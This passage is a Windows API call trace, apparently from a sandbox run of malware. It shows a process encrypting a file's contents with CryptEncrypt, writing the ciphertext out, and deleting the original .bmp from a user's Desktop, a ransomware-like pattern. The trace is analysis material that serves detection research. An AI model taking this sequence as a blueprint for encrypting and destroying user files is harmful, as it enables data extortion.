wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0081.311] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0081.311] ReadFile (in: hFile=0x3c8, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0xfe2f, lpOverlapped=0x0) returned 1 [0081.313] ReadFile (in: hFile=0x3c8, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0081.315] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0081.316] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0081.316] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0081.316] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0081.316] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0081.316] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0081.316] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0081.316] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0081.316] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0081.316] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0081.316] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0081.317] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0081.317] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0081.317] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0081.317] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0081.317] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164e330, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0081.317] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0081.317] CryptGetKeyParam (in: hKey=0x164c4f0, dwParam=0x7, pbData=0x1629350, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x1629350*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0081.317] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0081.317] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0081.317] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0081.317] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0081.317] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0081.317] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0081.318] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0081.318] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0081.318] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0081.318] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0081.318] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0081.318] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0081.318] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0081.318] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0081.318] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0081.318] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0081.318] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0081.318] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0081.318] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0081.318] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0081.318] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0081.318] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0081.318] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0081.318] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0081.319] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0081.319] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0081.319] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x16217f8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0081.319] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0081.319] CryptEncrypt (in: hKey=0x164c4f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0xfe2f, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0xfe30) returned 1 [0081.319] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0081.319] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0081.320] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0081.320] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0081.320] CharLowerBuffW (in: lpsz="byte[65073]", cchLength=0xb | out: lpsz="byte[65073]") returned 0xb [0081.320] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0081.321] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0081.322] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0081.322] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0081.322] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0081.322] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0081.322] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621948, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0081.322] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0081.322] CryptEncrypt (in: hKey=0x164c4f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x18105c8*, pdwDataLen=0x130e618*=0xfe2f, dwBufLen=0xfe30 | out: pbData=0x18105c8*, pdwDataLen=0x130e618*=0xfe30) returned 1 [0081.322] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0081.322] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0081.322] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0081.322] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0081.322] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0081.323] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0081.323] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0081.323] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0081.323] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0081.323] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0081.323] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0081.323] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0081.323] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0081.323] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0081.323] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0081.324] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0081.324] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0081.327] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0081.327] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0081.327] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0081.327] WriteFile (in: hFile=0x3d8, lpBuffer=0x17e0b20*, nNumberOfBytesToWrite=0xfe30, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x17e0b20*, lpNumberOfBytesWritten=0x130f01c*=0xfe30, lpOverlapped=0x0) returned 1 [0081.329] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0081.329] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0081.329] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0081.329] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0081.329] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0081.329] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0081.329] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0081.329] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0081.329] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x1621048, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0081.329] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0081.330] CryptDestroyKey (hKey=0x164c4f0) returned 1 [0081.330] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0081.330] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0081.330] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0081.330] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0081.330] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0081.330] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0081.330] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0081.330] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0081.330] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0081.330] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0081.330] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0081.330] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0081.330] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0081.330] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0081.330] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0081.330] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0081.331] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0081.331] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0081.331] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0081.331] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0081.331] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0081.331] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0081.331] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0081.331] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0081.331] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0081.331] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0081.331] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0081.331] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0081.331] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0081.331] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0081.331] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164e050, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0081.331] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0081.332] CryptReleaseContext (hProv=0x1631bb0, dwFlags=0x0) returned 1 [0081.332] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0081.332] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0081.332] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0081.332] FreeLibrary (hLibModule=0x74c60000) returned 1 [0081.332] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0081.332] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0081.332] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0081.332] CloseHandle (hObject=0x3c8) returned 1 [0081.334] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0081.334] CloseHandle (hObject=0x3d8) returned 1 [0081.337] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0081.339] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0081.339] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dXz6\\Vx1kZhAWznM.bmp", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dXz6\\Vx1kZhAWznM.bmp", lpFilePart=0x0) returned 0x32 [0081.339] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dXz6\\Vx1kZhAWznM.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\dxz6\\vx1kzhawznm.bmp")) returned 0x20 [0081.339] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dXz6\\Vx1kZhAWznM.bmp", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c630 [0081.340] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dXz6\\Vx1kZhAWznM.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\dxz6\\vx1kzhawznm.bmp")) returned 1 [0081.342] FindNextFileW (in: hFindFile=0x164c630, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0081.342] FindClose (in: hFindFile=0x164c630 | out: hFindFile=0x164c630) returned 1 [0081.342] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0081.342] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0081.342] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0081.342] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0081.343] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dXz6\\WM4yQEw.m4a", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164d130 [0081.343] FindClose (in: hFindFile=0x164d130 | out: hFindFile=0x164d130) returned 1 [0081.343] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) 